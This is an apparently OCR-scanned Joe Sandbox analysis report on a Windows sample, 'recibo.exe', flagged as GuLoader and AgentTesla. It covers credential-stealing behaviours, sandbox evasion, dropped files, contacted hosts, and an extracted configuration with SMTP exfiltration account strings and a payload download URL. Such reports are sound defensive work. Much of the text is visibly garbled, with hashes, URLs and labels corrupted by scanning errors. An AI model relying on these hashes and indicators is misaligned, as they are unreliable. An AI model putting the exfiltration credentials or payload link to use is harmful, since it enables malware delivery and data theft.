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Windows Analysis Report

recibo.exe

Overview

General Information Detection Signatures Classification

Sample recibo.exe
Name: MALICIOUS

Analysis ID: 635097

Found malware configuration

Multi AV Scanner detection for subm...

MD5:
4680729edca682. Yara detected AgentTesla
SHA1L:
debf5126050330.. Yara detected GuLoader
SHA256: €18032a74c8138.
Tries to steal Mail credentials (via fi...
Infos: n Q l'f 0 3, am

Writes to foreign memory regions
Tries to harvest and steal Putty / W...

Tries to detect Any.run

AéentTesla,
uloader Tries to harvest and steal ftp login c... EI

Tries to detect sandboxes and other...

Range: 0-100
Whitelisted: false C2 URLs / IPs found in malware con...
Confidence: 100%

Queries sensitive network adapter in...

Process Tree

= System is wl0x64native
o & recibo.exe (PID: 4332 cmdline: "C:\Users\user\Desktop\recibo.exe" MD5: 4680729EDCA682D1B6DESCF875BBFDF5)
e (B CasPol.exe (PID: 416 cmdline: "C:\Users\user\Desktop\recibo.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)
e (B CasPol.exe (PID: 432 cmdline: "C:\Users\user\Desktop\recibo.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)
. conhost.exe (PID: 7164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1l MD5: 81CA40085FC75BABD2C91D18AA9FFAGS)
= cleanup

Malware Configuration
Threatname: Agenttesla

{
"Exfil Mode": "SMTP",
"SMTP Info": "administracion@cortijocuevas.comAdm403mail.cortijocuevas.comchinastrapex@gmail.com”

}

Threatname: Guloader

{
“"Payload URL": "https://drive.google.com/uc?export=download&id=1EX-TfUIP_N_SsQAtVIT8-t2zzMXng6WS"

}

Yara Signatures

Memory Dumps

Source Rule Description Author Strings
00000004.00000000.23175826600.0000000000D00000.000  JoeSecurity_GuLo Yara detected Joe Security
00040.00000400.00020000.00000000.sdmp ader_2 GuLoader
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Source Rule Description Author Strings

00000001.00000002.23385776867.0000000002CB0000.000  JoeSecurity_GuLo Yara detected Joe Security
00040.00001000.00020000.00000000.sdmp ader_2 GuLoader
00000004.00000002.28075201958.000000001D471000.000  JoeSecurity_Agent Yara detected Joe Security
00004.00000800.00020000.00000000.sdmp Tesla_1 AgentTesla
00000004.00000002.28075201958.000000001D471000.000  JoeSecurity_Crede Yara detected Joe Security
00004.00000800.00020000.00000000.sdmp ntialStealer Credential Stealer
Process Memory Space: CasPol.exe PID: 432 JoeSecurity_Agent Yara detected Joe Security
Tesla_1 AgentTesla

Click to see the 1 entries

Sigma Signatures

@ No Sigma rule has matched

Snort Signatures

@ No Snort rule has matched

Joe Sandbox Signatures

AV Detection

Found malware configuration

Multi AV Scanner detection for submitted file

Networking

C2 URLs / IPs found in malware configuration

Data Obfuscation

Yara detected GuLoader

Malware Analysis System Evasion

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

110G
11D
110G
11D

Stealing of Sensitive Information

Yara detected AgentTesla

Tries to steal Mail credentials (via file / registry access)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
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Tries to harvest and steal ftp login credentials

Tries to harvest and steal browser information (history, passwords, etc)

Remote Access Functionality

Mitre Att&ck Matrix
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Behavior Graph

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source

recibo.exe
recibo.exe

recibo.exe

Dropped Files

Source
C:\Users\user\AppData\Loca\Temp\HPSUPD-Win32Exe.exe
C:\Users\user\AppData\Local\Temp\HPSUPD-Win32Exe.exe
C:\Users\user\AppData\Local\Temp\Igpllibs.dll
C:\Users\user\AppData\Local\Temp\igpllibs.dll
C:\Users\user\AppData\Local\Temp\nsf321E.tmp\System.dll
C:\Users\user\AppData\Local\Temp\nsf321E.tmp\System.dll
C:\Users\user\AppData\Local\Temp\vm3ddevapi64-debug.dll
C:\Users\user\AppData\Local\Temp\vm3ddevapi64-debug.dll

Unpacked PE Files

@ No Antivirus matches

Domains

Source

cortijocuevas.com

URLs
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Detection
55%
26%
50%

Detection
0%
0%
0%
0%
3%
0%
0%
0%

Detection
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Scanner
Virustotal
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ReversingLabs

Scanner
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ReversingLabs
Metadefender

ReversingLabs

Scanner

Virustotal

Label

Win32.Downloader.
GuLoader

Label

Label

Link
Browse
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Link

Browse

Browse

Browse

Browse

Link

Browse
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https://www.virustotal.com/gui/file/e18032a74c8138c907ab2b6937ce66a4483a85e89b05a25153499efee4e85898/detection/f-e18032a74c8138c907ab2b6937ce66a4483a85e89b05a25153499efee4e85898-1653619910
https://www.metadefender.com/#!/results/file/bzIyMDUyNzdDaHZYbVpGVDBUZXF4XzVWcmlx/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeU1EVXlOa05uWVd4Q1RuRkRaQU9uSFBCVzlsRnk/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeU1EVXlOa05uWVd4Q1RuRkRaQUduUFBPVVN5Rjg/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeU1EVXlOM1JHWld0NGNtMXllbG8tSEZzMlVwMTZBTQ/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeU1EVXlOa05uWVd4Q1RuRkRaQWx0VVZJSzRmcDA/regular/analysis
https://www.virustotal.com/gui/url/f056ff4fb644548007bd269e85cfcf9f347e7ec9fd21ca4d6cc3152ce72b281e/detection/u-f056ff4fb644548007bd269e85cfcf9f347e7ec9fd21ca4d6cc3152ce72b281e-1607597670

Source Detection Scanner Label Link

http://127.0.0.1:HTTP/1.1 0% Avira URL Cloud safe
http://https://sectigo.com/CPS0 0% Virustotal Browse
http://https://sectigo.com/CPS0 0% Avira URL Cloud safe
http://zerossl.crt.sectigo.com/ZeroSSLRSADomainSecureSiteCA.crt0 0% Avira URL Cloud safe
http://98Z0mcMphF90LN.net 0% Avira URL Cloud safe
http://https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32- 0% Avira URL Cloud safe
0.4.3.6.ziphttps://www

http://DynDns.comDynDNSnamejidpasswordPsi/Psi 0% Avira URL Cloud safe
http://zerossl.ocsp.sectigo.com0 0% Avira URL Cloud safe
http://BPNIDG.com 0% Avira URL Cloud safe
http://https://mozilla.org0 0% Avira URL Cloud safe
http://mail.cortijocuevas.com 0% Avira URL Cloud safe
http://cortijocuevas.com 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name IP Active Malicious Antivirus Detection Reputation
cortijocuevas.com 168.119.38.32 true true e 0%, Virustotal, Browse unknown
drive.google.com 172.217.16.142 true false high
googlehosted.l.googleusercontent.com 142.250.185.65 true false high
doc-0g-cc-docs.googleusercontent.com unknown unknown  false high
mail.cortijocuevas.com unknown unknown  true unknown
Contacted URLs

Name Malicious Antivirus Detection Reputation
http://https://doc-0g-cc- false high

docs.googleusercontent.com/docs/securesc/haOro937gcuc?I7deffksulhgs5h7mbp1/c6f1jlkill 7f0g8rg2n
idoteuikk5gii/1653650775000/00619175272154792338/*/1EX-TfUIP_N_SsQALVT8-
t2zzMXng6WS?e=download

URLs from Memory and Binaries

Name Source Malicious  Antivirus Detection Reputation

http://127.0.0.1:HTTP/1.1 CasPol.exe, 00000004.00000002.2807520195 false e Avira URL Cloud: safe low
8.000000001D471000.00000004.00000800.000
20000.00000000.sdmp

http://https://sectigo.com/CPS0 CasPol.exe, 00000004.00000002.2807677388 false e 0%, Virustotal, Browse unknown
8.000000001D59A000.00000004.00000800.000 e Avira URL Cloud: safe

20000.00000000.sdmp, CasPol.exe, 0000000
4.00000002.28083111699.000000001F5FA000.
00000004.00000800.00020000.00000000.sdmp

http:/fwww.vmware.com/0 recibo.exe, 00000001.00000002.2338343150 false high
6.000000000040A000.00000004.00000001.010
00000.00000003.sdmp, vm3ddevapi64-debug.dil.1.dr

http:{fwww.symauth.com/rpa00 recibo.exe, 00000001.00000002.2338343150 false high
6.000000000040A000.00000004.00000001.010
00000.00000003.sdmp, vm3ddevapi64-debug.dil.1.dr

http:i/https://drive.google.com/ CasPol.exe, 00000004.00000002.2805138724 false high
1.0000000000FF8000.00000004.00000020.000
20000.00000000.sdmp
http:// CasPol.exe, 00000004.00000002.2807677388 false e Avira URL Cloud: safe unknown
zerossl.crt.sectigo.com/ZeroSSLRSADomainSecureSit - 8.000000001D59A000.00000004.00000800.000
eCA.crt0 20000.00000000.sdmp, CasPol.exe, 0000000

4.00000002.28083111699.000000001F5FA000.
00000004.00000800.00020000.00000000.sdmp

http:/98Z0mcMphF90LN.net CasPol.exe, 00000004.00000002.2807699103 false e Avira URL Cloud: safe unknown
7.000000001D5C6000.00000004.00000800.000
20000.00000000.sdmp, CasPol.exe, 0000000
4.00000002.28075201958.000000001D471000.
00000004.00000800.00020000.00000000.sdmp

http:// CasPol.exe, 00000004.00000002.2807520195 false e Avira URL Cloud: safe unknown
https://www.theonionrouter.com/dist.torproject.org/torbr 8.000000001D471000.00000004.00000800.000
owser/9.5.3/tor-win32-0.4.3.6.ziphttps://www 20000.00000000.sdmp
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https://www.virustotal.com/gui/url/37a6f33d76f893041bfd68ba9039c68cee2298fc4bb91cce98db74e4dfcdd8a8/detection/u-37a6f33d76f893041bfd68ba9039c68cee2298fc4bb91cce98db74e4dfcdd8a8-1652690501
https://www.virustotal.com/gui/url/f056ff4fb644548007bd269e85cfcf9f347e7ec9fd21ca4d6cc3152ce72b281e/detection/u-f056ff4fb644548007bd269e85cfcf9f347e7ec9fd21ca4d6cc3152ce72b281e-1607597670
https://www.virustotal.com/gui/url/37a6f33d76f893041bfd68ba9039c68cee2298fc4bb91cce98db74e4dfcdd8a8/detection/u-37a6f33d76f893041bfd68ba9039c68cee2298fc4bb91cce98db74e4dfcdd8a8-1652690501

Name

http://DynDns.comDynDNSnamejidpasswordPsi/Psi

http://https://drive.google.com/p

http://https://doc-0g-cc-
docs.googleusercontent.com/docs/securesc/haOro937
geuc7I7deffksulhg5h7mbp1/c6f1jlki

http://www.sil.org/is0639-3/

http://www.vmware.com/0/
http://https://support.google.com/chrome/?
p=plugin_flash

http://zerossl.ocsp.sectigo.com0

http://https://doc-0g-cc-docs.googleusercontent.com/

http://nsis.sf.net/NSIS_ErrorError

http://www.symauth.com/cps0(

http://BPNIDG.com

http://https://mozilla.org0

http://mail.cortijocuevas.com

http://cortijocuevas.com

http://https://doc-0g-cc-docs.googleusercontent.com/e

World Map of Contacted IPs
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Source

CasPol.exe, 00000004.00000002.2807520195
8.000000001D471000.00000004.00000800.000
20000.00000000.sdmp

CasPol.exe, 00000004.00000002.2805138724
1.0000000000FF8000.00000004.00000020.000
20000.00000000.sdmp

CasPol.exe, 00000004.00000002.2805195817
9.000000000105A000.00000004.00000020.000
20000.00000000.sdmp, CasPol.exe, 0000000
4.00000003.23356845957.000000000108B000.
00000004.00000020.00020000.00000000.sdmp,
CasPol.exe, 00000004.00000003.23357279
169.000000000108B000.00000004.00000020.0
0020000.00000000.sdmp, CasPol.exe, 00000
004.00000002.28052337111.000000000108800
0.00000004.00000020.00020000.00000000.sdmp,

CasPol.exe, 00000004.00000003.23361732323.0000

0000010CB000.00000004.00000020.00020000.
00000000.sdmp, CasPol.exe, 00000004.0000
0003.23361300201.000000000108B000.000000
04.00000020.00020000.00000000.sdmp

iso_639-3.xml.1.dr

recibo.exe, 00000001.00000002.2338343150
6.000000000040A000.00000004.00000001.010
00000.00000003.sdmp, vm3ddevapi64-debug.dll.1.dr

CasPol.exe, 00000004.00000002.2807601174
4.000000001D510000.00000004.00000800.000
20000.00000000.sdmp

CasPol.exe, 00000004.00000002.2807677388
8.000000001D59A000.00000004.00000800.000
20000.00000000.sdmp, CasPol.exe, 0000000
4.00000002.28083111699.000000001F5FA000.
00000004.00000800.00020000.00000000.sdmp

CasPol.exe, 00000004.00000002.2805175817
4.0000000001039000.00000004.00000020.000
20000.00000000.sdmp, CasPol.exe, 0000000
4.00000003.23361300201.000000000108B000.
00000004.00000020.00020000.00000000.sdmp

recibo.exe

recibo.exe, 00000001.00000002.2338343150
6.000000000040A000.00000004.00000001.010
00000.00000003.sdmp, vm3ddevapi64-debug.dil.1.dr

CasPol.exe, 00000004.00000002.2807520195
8.000000001D471000.00000004.00000800.000
20000.00000000.sdmp

Igpllibs.dil.1.dr

CasPol.exe, 00000004.00000002.2807677388
8.000000001D59A000.00000004.00000800.000
20000.00000000.sdmp

CasPol.exe, 00000004.00000002.2807677388
8.000000001D59A000.00000004.00000800.000
20000.00000000.sdmp

CasPol.exe, 00000004.00000003.2336130020
1.000000000108B000.00000004.00000020.000
20000.00000000.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

.

.

.

.

.

.

Avira URL Cloud: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

Reputation

unknown

high

high

high
high

high

unknown

high

high

high

unknown

unknown

unknown

unknown

high
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[] No. of IPs < 25%
B 25% < No. of IPs < 50%
Bl 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Public IPs

1P Domain Country Flag ASN ASN Name Malicious
168.119.38.32 cortijocuevas.com Germany = 24940 HETZNER-ASDE true
172.217.16.142 drive.google.com United States =] 15169 GOOGLEUS false
142.250.185.65 googlehosted.l.googleuser United States = 15169 GOOGLEUS false

content.com

General Information

Joe Sandbox Version:

Analysis ID:

Start date and time: 27/05/202213:24:05
Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Run name:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:

Classification:

Copyright Joe Security LLC 2022

34.0.0 Boulder Opal

635097

2022-05-27 13:24:05 +02:00
CloudBasic

Oh 13m 5s

false

light

recibo.exe

default.jbs

Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe

Reader DC 21, Java 8 Update 301
Suspected Instruction Hammering

23

o o o o

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

default

Timeout

MAL
mal100.troj.spyw.evad.WinEXE@6/12@3/3
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EGA Information:

.

Successful, ratio: 100%

HDC Information:

.

Successful, ratio: 32.5% (good quality ratio 32%)
Quality average: 86.8%
Quality standard deviation: 21.4%

.

.

HCA Information:

.

Successful, ratio: 97%
Number of executed functions: 0
Number of non-executed functions: 0

.

.

Cookbook Comments:

.

Found application associated with file extension: .exe
Adjust boot time
Enable AMSI

.

.

Warnings

e Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, backgroundTaskHost.exe, svchost.exe
e TCP Packets have been reduced to 100

e Excluded IPs from analysis (whitelisted): 20.54.122.82, 20.82.19.171

L]

Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, wd-prod-cp-eu-north-1-fe.northeurope.cloudapp.azure.com, client.wns.windows.com, wdcpalt.microsoft.com, ct

Idl.windowsupdate.com, wd-prod-cp-eu-west-2-fe.westeurope.cloudapp.azure.com, img-prod-cms-rt-microsoft-com.akamaized.net, wdcp.microsoft.com, arc.msn.com, wd-prod-

cp.trafficmanager.net

Not all processes where analyzed, report is missing behavior information

Report size exceeded maximum capacity and may have missing b ehavior information.
Report size getting too big, t oo many NtAllocateVirtualMemory calls found.

Report size getting too big, t oo many NtOpenKeyEx calls found.

Report size getting too big, t oo many NtProtectVirtualMemory calls found.

Report size getting too big, t oo many NtQueryValueKey calls found.

Report size getting too big, t oo many NtReadVirtualMemory calls found.

Report size getting too big, t oo many NtSetInformationFile calls found.

e o o o o o o o

Simulations

Behavior and APIs

Time Type Description

13:26:37 API Interceptor 2735x Sleep call for process: CasPol.exe modified

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

©@ No context

JA3 Fingerprints

@ No context

Dropped Files

@ No context

Created / dropped Files
C:\Users\user\AppData\Local\Temp\Adventure_19.bmp

Copyright Joe Security LLC 2022
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Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\recibo.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 100x100, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=3], baseline,
precision 8, 110x110, frames 3

dropped

10521

7.888779038440803

false
192:0XRZxdt62XpqRigPYtYOCfKTQIhSNKW6EF50JxfskCjiGmXa6PbpwrdWmKM:KRfdt62X+XoEIh/KW6ifskEGealpwrdn
8D61CCB44C962D7831FB6703B4AF623D

2BFDC667151057B3A42CDD22F9EBOESABOBOEF3C
1EFFB5A4A46B05C024518546D4C8BBB45AD3496590E3E86AF533CF31C61512F4

FEOC304F73713552ACA3A28D9CCD6BD2C53A45F72052892CC8F94D835A213F2F3C4D8D1656BD8160AE874A63FACC6B79BA763D4A724281ESFODEDAC87F8631
E

false

low

11A..Qa."q.2...#B...R..$3br. %&()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz.
."2...B....#3R..br..$4.%.....&'()*56789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz
.5.h.71]Z2Z.....v.Yc..<i'.m2_.>. #..K...,.qq."<2|D.V.

..ae.0Mu."K..#k..3<."F

C:\Users\user\AppData\Local\Temp\FLADBARMEDES.tub

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\recibo.exe

data

dropped

95635

6.715584422233703

false
768:9hIBFBNMGjjTOQwOgKVIRNCkPFG4ouc83ArsfQFaFL03ZLoeZ4YgXplXpyfHavds:91XNMjjEgnifsVFIhBQIYG22VAIGI
0DBDB94BF9F058978C90852607F98DBD

DCA1907D14891499D855DEB23BF461799C7EDOC4
11D6302EBD701AD527EC6358E33FC578AEODS8ACIA43AC03F4AD5276B186538E
0D6C48216172958EFEOE305B81D8B0B5C3606F001969E80220D4EBCF818013416992BC8D0638F4BOF6E337040CCABD607731F1912BA9DCFAA2EG9C824CFC287
false

low

defe g B K <o ). TSCuiiiieccc {Z&n.fv........ | £ Of v (LI mm............ f..

D2 f....w?..PPPPPPPPPPPPP
e TT Zuiiiie, fi.. tf....-j1.33333333333333

W £ 5. G [CCOeeeeeeeeeeeeeeeeeeeeeeeer.- f.9-.f.g.f.........$.pS.00000000000

PPPPPPPPPPPP.... 0..e.
333333333333333333333333333f..f.....f.qvvvev
000000000000000000000K............ f.q..

C:\Users\user\AppData\Local\Temp\HPSUPD-Win32Exe.exe v

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

C:\Users\user\Desktop\recibo.exe

PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows

dropped

58368

5.856484138583398

false
768:t2y20tpnvfSd9bbMItmRtTkwvIQMdVk1QKVnjphRJy26xGOXFC1910:J20t1SANOkvZ9pdW1QKVjzy260pD
D600D4F40A2BE641991044EE0814BFA4

3BDEF3488C28D43D285C47F46B82B980A8F41CD8
BOD12A7AADF51B02D52E9E88295E6E6606F68C1508C8D9323B6549AA20EC82AA

27B125260AA56FCAD4153A3259ECFB898681C9B096A4A37EB32AC3B722599EA4BFB5BFO0F0247136F11F73F280B85844B37F6236331A0EF3B90ED2EC70CEDAS
5

false

e Antivirus: Metadefender, Detection: 0%, Browse
e Antivirus: ReversingLabs, Detection: 0%

moderate, very likely benign file

..L.IThis program cannot be run in DOS mode....$....... PE..d...Kc
.................. 8 G Het@Xt CL
[T UPRRI N.((.....tS..}..*F {08 *F{....0...5... %0 {..0....5..... &....
G0tV s 2o 20 R oss 2o 2 ol AR o R 2 o F2 { o 2 { o 2 { o 22 { o
Qb it tirpstozes4 500
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https://www.metadefender.com/#!/results/file/YnpJeU1EVXlOa05uWVd4Q1RuRkRaQU9uSFBCVzlsRnk/regular/analysis

C:\Users\user\AppData\Local\Temp\Rekorddage.Res7

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\recibo.exe

ASCII text, with very long lines, with no line terminators

dropped

37188

3.999253187571331

false
768:cqLtUhAlasZdPK3ukVO7103q1lLjVG0I6Z293rwWalFLXSBhuj3KmuzoAgZ:coUvbkVORtVjVGOI6rbWalFzSBh0Go9Z
6001AACO6A6EB2B760F3DC4BE1B2D3F8

ABB8A72756DB347DE9507495A9F6D5E521EB5FB42
OE1AB3CD23AE04019CAEBE185924D859E7017E933F824B1CBEB50FADO8BOCCT76
B400F2609A8E67BD53062E73FESAOBD3960CD62A0D388F228C1DE4A01627C4A07F42961161CC2195DEAG961BBC43FF25E6EOE67963A55FEA31B42050F3C6842:
false

65FF458D7673B103962E00EB3124B20464827DB078E548E8A294899303A2D4B26244CDE2525A3176A4E8EBA229CBF8215F529302F79215A66E248561
9280B9F07DOF5D7F34853DD732803E9230FA52E1368AFF3ADB4D69A11E23189F458C5DB8C643DA0DIC2FBB18945457C8F6CICE23E60636F70EDS5FAA
OF0C6C12C79B7EC3AAEA70ALDALIDOAGFAF5FESS58ABOE2C6E1C29796F8931D2F8D428465CA7B637D8F02AE89A7ACI3A554AB4667C122E746A0090527C
71C6DE714F7C92C3B3C6C3970A6DF5E1810DD362093C012F8F022960DE89C2174441BBOFCDF3214938109206CFA36DEF03346BD5D65E022846E74B01
DCO1A4AFA966C7D6FE4EQEAAQ73F402B465DE3D3D7D5424D98589A10A91BEDF63045FF792C2DF90C9BOAFEC37C0771B9771106EF952D5D913FD36B65
38078F86A1E71008D07CDA61CB102D1679ED96F46C7C5F5C7AECA4E409B023EACO95B78197F5C16F47795D7253A585A700005C1FBF8C869BD318613FB
508D946B75C70E99290F433B81CDFD660CEB126BCO9EECFF96DE3B07B3E652ABD795716A914383F7009FF2440C2E1640CB16C11292430FF09E9077EGF
CD41DA51CCF89AC2E3C46AD8DB2EF7B13C1DFD1115D44D55B201C10395327AF3A23C988789BFB543EB8635EF4F041E3EAS5BES1BDFD81F99B56BF001
0BDF14B112E35982A7579BE396E235B34EFA0C08

C:\Users\user\AppData\Local\Temp\emoji-body-symbolic.symbolic.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\recibo.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

193

6.41289035005742

false

6:6v/IhPys693pMeNKrccoz4OtOOFIMbTMOt7zlyH//jp:6v/7adpfNWcVkafTMyUfL
F492568998D5783731D50D7CA73AC7A3
E87B96367BDB02176067336A1CCE3B32EBDCB3B2
7A08D7B1CC724A453A0C3EB2F36369D7FD6AC6BD965CEO0B4D075D570ED369A9B

2C6C726426EA6DD4C7CCC141152E24DD46BDB11D3DB45ED7BAG6EACO6DES22F69E5172D5431D63BI9ACFI6ES4B89857317CA0F87880F7B03C43AF9F7416EE9S
73

false

PNG......IHDR............ a...sBIT....|.d...XIDATS.....0.E. #d.{Gp.k.q.WP....m.$.BH....5...A<..9.L.Fp.E.7..........6.0...]10.5..P.... W.#...U_...p.P.>.&1...IEND.B".

C:\Users\user\AppData\Local\Temp\iso_639-3.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\recibo.exe

XML 1.0 document, UTF-8 Unicode text, with CRLF line terminators

dropped

1063988

4.881622518734141

false
6144:26ZdTZZI/WX4TVLcfOMvAadpxr5+ZiVHPZ6TZXjcePr:z6nTZZI/WXA4VLcqvV5+ZiX6TZXJ
DCAD3BOF729144CE9EE9A6006D9C3E74
3EEF5F61BEF834B7089A87423D128990A1065E81
D8AB9C2641481645A8ACF875FFA3E3CB271D2CD946691DD8EOBD48513FFF1370

BBOED1F9FBB122728776731B04C54C8FBA57BF2987D04DAD1167FC879FC8A2483093E1A8304A021D6238B408FED826E902386D7DB52B7988CEIDCC89ACB646!
1

false

<?xml version="1.0" encoding="UTF-8" ?>.... ... WARNING: THIS FILE IS DEPRECATED.....PLEASE USE THE JSON DATA INSTEAD.....Usually, this data can be f
ound in /usr/share/iso-codes/json.....This file gives a list of all languages in the ISO 639-3..standard, and is used to provide translations via gettext....Copyright . 2005
Alastair McKinstry <mckinstry@computer.org>..Copyright . 2008,2012,2013 Tobias Quathamer <toddy@debian.org>.... This file is free software; you can redistribute it
and/or.. modify it under the terms of the GNU Lesser General Public.. License as published by the Free Software Foundation; either.. version 2.1 of the License, or
(at your option) any later version..... This file is distributed in the hope that it will be useful,.. but WITHOUT ANY WARRANTY; without even the implied warranty of..
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.. Lesser General Public License for more details..... You should have received a
co

C:\Users\user\AppData\Local\Temp\lgpllibs.dll v

Process:

C:\Users\user\Desktop\recibo.exe

Copyright Joe Security LLC 2022 Page 14 of 47



File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Antivirus:

Preview:

PE32+ executable (DLL) (GUI) x86-64, for MS Windows

dropped

37816

6.374742588554942

false
384:VbijnYW+DZZMwrusWsWQfRI30fP5/A5KFUKYvntA/QcP+ACxw/3MvDG/GhUVgt:dijnQDnzruRNQfvOfP5/0ABCDGehHt
9B623087B905D8FE157BDB7EC85009A8

4B6DD4C0292558513A840B40A991533735D55E02
7FA4C9EA4BE0088D6D311BD93FA65BAF8828DA32A2FDABF8CEOEADES52D46246

8C06714F93EBOSFAD19F1A96CODB8FF030B1CD3C03D6B17C231CDESBCESDD8358014D87A74306C3BABEF7C573D4AF5AE80904AFBB0329D2D83FE3758EF020
19

false

e Antivirus: Metadefender, Detection: 0%, Browse
e Antivirus: ReversingLabs, Detection: 0%

MZx.. 1..L.IThis program cannot be run in DOS mode.$..PE..d...>..b......" ... F..*.

TR USSR 0. Xt text...FE....... Foens

C:\Users\user\AppData\Local\Temp\microphone-disabled-symbolic.svg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\recibo.exe

SVG Scalable Vector Graphics image

dropped

1401

5.11645334711433

false
24:t4Cjlza3LWdwpQIiL6Rch3jV81hF3Q59UPFkyKbRAecFhBrN3AGMH:1cL8w6iJjV8jF3894kNtAecFZTMH
BAE5EB7B918D568E955B8885EEB5DB5A

FC4421C6A019D0147A13B08CBB2F0720F49E17C3
273F11F9F8BD84F2A32E0CC857E21050A9A9C7713F33D9A220991DC232C470BA
8AB6AE1E26C9451A241655242D16368D87E23036D03D61FF75F5669D5E2930446D6003D5191622F576060E529EE21DD6E28D3408D28719A4D53BD291E673037B0
false

<svg xmins="http://www.w3.0rg/2000/svg" width="16" height="16">.  <g fill="#2e3436">. <path d="m 213.531,228.469 -1.061,1.061 14,14 1.062,-1.062 z" tra
nsform="translate(-212 -228)"/>. <path d="m 220,228 ¢ -1.662,0 -3,1.338 -3,3 v 1.64453 | 5.2832,5.2832 C 222.72383,237.4058 223,236.73965 223,236 v -5 c0,-
1.662 -1.338,-3-3,-3zm -6,6 v 2.00977 ¢ 0,2.96574 2.16538,5.4238 5,5.90039 V 244 h 2 v -2.08984 ¢ 0.64598,-0.10861 1.24984,-0.33194 1.80859,-0.62891 | -1.11132,-
1.11133 C 221.17391,240.38 220.60353,240.5 220,240.5 ¢ -2.50669,0 -4.5,-1.99014 -4.5,-4.49023 V 234 Z m 10.5,0 v 2.00977 ¢ 0,1.15729 -0.44099,2.19439 -1.
14844,2.98632 | 1.05274,1.05274 C 225.38802,238.9836 226,237.57264 226,236.00977 V 234 Z m -7.5,1.47266 V 236 ¢ 0,1.662 1.338,3 3,3 0.16422,0 0.3216,-0.0237
0.47852,-0.0488 z" style="line-height:normal;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alt
ernates:normal;font-feature-se

C:\Users\user\AppData\Local\Temp\nsf321E.tmp\System.dll v

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Preview:

C:\Users\user\Desktop\recibo.exe

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

12288

5.814115788739565

false
192:Zjvco0gWTIt70m5Aj/IQOsEWD/wtYbBHFNaDybC7y+XBz0QPi:FHQIt70mij/IQRv/9VMjzr
CFF85C549D536F651D4FB8387F1976F2
D41CE3A5FF609DFICF5C7E207D3B59BF8A48530E
8DC562CDA7217A3A52DB898243DE3E2ED68B80E62DDCB8619545EDOB4E7F65A8
531D6328DAF3B86D85556016D299798FA06FEFC81604185108A342D000E203094C8C12226A12BD6E1F89BODB501FB66F827B610D460B933BD4ABI36AC2FD8A8E

false

e Antivirus: Metadefender, Detection: 3%, Browse
e Antivirus: ReversingLabs, Detection: 0%

1..L.IThis program cannot be run in DOS mode....$.

@ Peeiiens @
C.rdata..c...@

